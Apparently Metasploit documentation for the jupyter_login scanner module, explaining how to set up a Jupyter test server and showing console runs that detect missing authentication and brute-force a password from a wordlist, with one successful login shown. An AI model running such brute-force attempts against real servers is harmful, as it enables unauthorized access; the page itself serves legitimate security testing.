documentation/modules/auxiliary/scanner/http/jupyter_login.md
This module checks if authentication is required on a Jupyter Lab or Notebook server. If it is, this module will bruteforce the password. Jupyter only requires a password to authenticate, usernames are not used. This module is compatible with versions 4.3.0 (released 2016-12-08) and newer. Version 4.3.0 is the first version in which authentication is required by default.
A note on names, "Jupyter Lab" is the next-generation interface for "Jupyter Notebooks" which was the successor of the original IPython Notebook system. This module is compatible with both standard Jupyter Notebook and Jupyter Lab servers.
pip install notebook. The "notebook" package is the core
application and is the one whose version number is used as the Jupyter version number referred to in this document.jupyter notebook --ip='*' to start Jupyter listening on all IP addresses.
.jupyter in the directory
you are running the jupyter notebook --ip='*' command from.use auxiliary/scanner/http/jupyter_loginRHOSTS option
runPASS_FILE) where specified, and the server requires authentication then you should see
login attemptsmsf > use auxiliary/scanner/http/jupyter_login
msf auxiliary(scanner/http/jupyter_login) > set RHOSTS 192.168.159.128
RHOSTS => 192.168.159.128
msf auxiliary(scanner/http/jupyter_login) > set PASS_FILE /tmp/passwords.txt
PASS_FILE => /tmp/passwords.txt
msf auxiliary(scanner/http/jupyter_login) > run
[*] 192.168.159.128:8888 - The server responded that it is running Jupyter version: 4.3.0
[+] 192.168.159.128:8888 - No password is required.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/http/jupyter_login) >
msf > use auxiliary/scanner/http/jupyter_login
msf auxiliary(scanner/http/jupyter_login) > set RHOSTS 192.168.159.128
RHOSTS => 192.168.159.128
msf auxiliary(scanner/http/jupyter_login) > set PASS_FILE /tmp/passwords.txt
PASS_FILE => /tmp/passwords.txt
msf auxiliary(scanner/http/jupyter_login) > run
[*] 192.168.159.128:8888 - The server responded that it is running Jupyter version: 6.0.2
[-] 192.168.159.128:8888 - LOGIN FAILED: :Password (Incorrect)
[+] 192.168.159.128:8888 - Login Successful: :Password1
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/http/jupyter_login) >